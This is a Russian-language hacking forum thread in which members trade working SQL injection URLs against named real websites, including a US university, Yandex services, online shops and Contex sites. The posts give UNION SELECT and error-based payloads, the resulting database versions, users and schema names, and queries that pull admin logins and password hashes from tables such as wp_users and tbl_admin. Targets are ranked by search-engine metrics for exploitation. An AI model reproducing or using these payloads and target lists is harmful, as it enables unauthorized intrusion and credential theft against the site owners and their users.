SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Bramin

    Bramin Banned

    Joined:
    15 May 2009
    Messages:
    187
    Likes Received:
    88
    Reputations:
    27
    http://www.indstate.EDU/cirt/et/techenh/display_room.php?id=-2+union+select+1,2,3,version(),5,6,7,8,9--

    PR 7 тиц 160

    USA универ.

    есть табл. tblusers, wksp_user, wksp_student
     
    1 person likes this.
  2. stfox

    stfox New Member

    Joined:
    30 Aug 2011
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    http://php.amnuts.com/index.php?do=view&id=14&file=class.madlibs.php
    PR 3
    DB's
    - amnuts_php2
    - information_schema
     
  3. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    638
    Likes Received:
    160
    Reputations:
    81
    http://uslugi.yandex.ru/banki/ipoteka/search.xml?sum=3000000&currency=1&period=4&restrictions=0&region=-213'+and+1=0+union+select+1,2,3,4,vErsIon(),usEr(),daTabase(),8,9,10,11,12,13,14,15,16+--+
    Version: 5.01+lenny
    User: yandex@localhost
    Database: uslugi_ya

    Тиц: 250
    PR: 0
     
    5 people like this.
  4. stfox

    stfox New Member

    Joined:
    30 Aug 2011
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    http://www.mental-health-matters.com/index.php?option=com_content&view=article&id=171

    PR 6
    ТИЦ 20

    db: mentalhealthmatters

     
    1 person likes this.
  5. aydin-ka

    aydin-ka Elder - Старейшина

    Joined:
    3 May 2009
    Messages:
    316
    Likes Received:
    98
    Reputations:
    29
    ТИЦ 400 PR 5
    Current User: [email protected]

    Sql Version: 5.0.91-log

    Data Bases: information_schema
    db375381534
     
    1 person likes this.
  6. tght

    tght Member

    Joined:
    24 Jun 2010
    Messages:
    134
    Likes Received:
    10
    Reputations:
    0
    http://www.shipsandports.org/Anews/moreheadlines.php?id=285-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--


    http://www.mediasoyuz.ru/news/index.php?id=932-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13--

    DB: u230689
     
    #14186 tght, 23 Sep 2011
    Last edited: 23 Sep 2011
  7. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    638
    Likes Received:
    160
    Reputations:
    81
    Code:
    http://www.takagazete.com/kose_category.php?id=11+and+1=0+union+select+1,2,3,4,5,concat_ws%280x3a3a3a,version%28%29,user%28%29,database%28%29%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31--
    З.Ы Обратите внимание на title :D
     
    #14187 Osstudio, 23 Sep 2011
    Last edited by a moderator: 24 Sep 2011
  8. SEWERN

    SEWERN Elder - Старейшина

    Joined:
    9 Jan 2009
    Messages:
    23
    Likes Received:
    35
    Reputations:
    26
    http://www.porlock.co.uk/members/index.php?id=-00121+union+select+user%28%29,2--
     
  9. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    [​IMG]

    http://knl.ua/business.php?cat=1%20and%201-2%20union%20select%201,concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),3,4,5,6--

    5.0.51a-24+lenny5-log u_allkremenc@localhost allkremenc debian-linux-gnu
     
  10. Red[S1]

    Red[S1] Member

    Joined:
    23 Sep 2011
    Messages:
    9
    Likes Received:
    8
    Reputations:
    3
    Code:
    http://www.fosa.biz/wp-admin/admin.php?page=people&action=printable&event_id=-15+union+select+0,1,2,concat_ws(0x3a,user_login,user_pass),4+from+wp_users--
    Code:
    http://www.surgabali.biz/daftar_tour.php?kategoriID=-53+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5--
     
  11. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Военная тематика

    Code:
    http://www.ak-47.us/AK47-FAQ.php?id=-148)+or+1+group+by+concat(@@version,floor(rand(0)*2))+having+min(0)+or+1+--+1
    Тиц 10
    PR 0


    Шопы

    Code:
    http://www.smartdesignworldwide.com/work/print.php?id=135+and+1=2+union+select+1,2,version(),4,5,6,7,8,9,10,11,12
    
    Current User: 	smart_dev@localhost
    Sql Version: 	5.0.45
    Current DB: 	smart
    System User: 	smart_dev@localhost
    Host Name: 	smartdesignworldwide.com
    Installation dir: 	/usr/
    DB User: 	'smart_dev'@'%'
    Data Bases: 	information_schema
    		smart
    Тиц = не определяется =(
    PR = не определяется =(

    Code:
    http://www.ruskinmoore.co.uk/cart/details.asp?ID=101356+and+1=1+union+select+1,2,3,count(pw),5,6,7,8,9,10,11,12,13,14,15,161,71,8,19+from+clients
    
    DB Server: 	MSAccess
    Resp. Time(avg):	910 ms
    Web Root: 	c:\windows\system32\inetsrv\
    На этом же хосте дофига других щопов UK

    Code:
    http://logowears.com/cart/landing.asp?ID=89+and+1=1+union+select+1,2,uUsername,4,5,6,7,8,uPassword+from+tblusers
    
    DB Server: 	MSAccess
    Resp. Time(avg):	1465 ms
    Web Root: 	C:\Windows\SysWOW64\inetsrv\
     
    _________________________
  12. AHTNkiller

    AHTNkiller New Member

    Joined:
    7 Sep 2011
    Messages:
    20
    Likes Received:
    1
    Reputations:
    0
    http://www.simka.by/shop.php?category=28&mode=detail&id=-1149%20UNION%20ALL%20SELECT%201,2,3,4,version%28%29,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
     
    1 person likes this.
  13. Red[S1]

    Red[S1] Member

    Joined:
    23 Sep 2011
    Messages:
    9
    Likes Received:
    8
    Reputations:
    3
    Code:
    http://carmartlanka.com/sell.php?id=-1+union+select+1,2,concat_ws(0x3a,uid,username,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+tbl_admin
     
  14. aydin-ka

    aydin-ka Elder - Старейшина

    Joined:
    3 May 2009
    Messages:
    316
    Likes Received:
    98
    Reputations:
    29
    тиЦ 20
    PR 3
    Sql Version: 5.0.77
    Data Bases: information_schema
    sizampskov_sizam
     
  15. Koren

    Koren Member

    Joined:
    11 Jul 2009
    Messages:
    66
    Likes Received:
    20
    Reputations:
    1
    PHP:
    http://www.everestsports.com.au/headsweats/prod_det.php?recordID=-879+/*!UnIoN+SeLeCt*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,version(),17,18,19,20,21--
    version 5.1.56
     
  16. wkar

    wkar Elder - Старейшина

    Joined:
    18 Oct 2009
    Messages:
    211
    Likes Received:
    67
    Reputations:
    34
    Google PageRank: 6
    Яндекс CY: 30
    Code:
    http://www.epdlp.com/director.php?id=4048'+union+select+1,2,3,4,5,6,7,8,9,10,11,version(),user(),14,15,16,17,18,19,20+--+
    ver. 5.0.45
     
    1 person likes this.
  17. aydin-ka

    aydin-ka Elder - Старейшина

    Joined:
    3 May 2009
    Messages:
    316
    Likes Received:
    98
    Reputations:
    29
    ТИЦ 250 PR 4 Alexa Rank 246,434
    Data Bases: information_schema
    novosib8_main
    novosib8_mamba
    novosib8_phpbb
     
  18. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    [email protected]:4.0.27-log:betatron

    [email protected]:5.5.12-log:u44342_cars
     
    _________________________
    #14198 winstrool, 30 Sep 2011
    Last edited: 1 Oct 2011
  19. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Презервативы Contex с дырявой защитой


    Италия

    Вывод версии и юзверя

    Code:
    http://www.contex.lt/rus/link.php?lnk_id=999+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,concat_ws(0x3a,user(),version()),10,11--
    Current User: contex.lt@localhost
    Sql Version: 5.1.33-log
    Current DB: contex_lt
    Data Bases: information_schema, contex_lt


    Тиц = 0
    PR = 4




    Украина

    Code:
    http://contex.ua/link.php?lnk_id=39+and+1=2+union+select+1,2,3,4,5,6,7,8,version(),10,11
    Current User: contex@localhost
    Sql Version: 5.0.90
    Current DB: contex
    Data Bases: information_schema
    ameshkov
    bareks
    bunker
    contex
    deltabank
    elevator
    ford
    gallery2
    inpack
    krus
    krz
    ksit
    moodle
    musicmama
    mysql
    ranok
    rdm
    star-k
    synergia

    Вышеперечисленные БД вот от этих сайтов;

    Code:
    krz.com.ua 
    star-k.com.ua 
    www.ford.com.ua 
    www.ford.ua 
    www.inpack.com.ua 
    www.kale-bareks.com.ua
    www.kruss.com.ua 
    www.kruss.kiev.ua 
    www.krz.com.ua 
    www.naboo.viaduk.net 
    www.ranok.kiev.ua 
    www.rdm.com.ua 
    www.rdm.ua 
    www.synergia.ua 
    www.thyssenkrupp-elevator.com.ua 
    ТИЦ = 10
    PR = 3




    Болгария

    Code:
    http://bolgar.contex-condom.ru/link.php?lnk_id=49+and+1=2+union+select+1,2,3,4,5,6,7,8,version(),10,11
    Current User: [email protected]
    Sql Version: 5.0.90-log
    Current DB: u31847_bolgar
    Data Bases: information_schema
    u31847
    u31847_2
    u31847_bolgar

    Тиц и PR по нулям оба




    Латвия

    Code:
    http://www.contex.lv/link.php?lnk_id=17+and+1=1+union+select+1,2,3,4,5,6,7,8,version(),10,11
    Current User: [email protected]
    Sql Version: 4.0.27
    Current DB: contex

    Тиц = 0
    PR = 4
     
    _________________________
    2 people like this.
  20. vaddd

    vaddd Member

    Joined:
    6 Jan 2009
    Messages:
    140
    Likes Received:
    19
    Reputations:
    9
    http://computeremuzone.com/ficha.php?id=18 (60-80 юзеров онлайн)
    крутил через havij, вручную не удалось... file_priv=y
     
Thread Status:
Not open for further replies.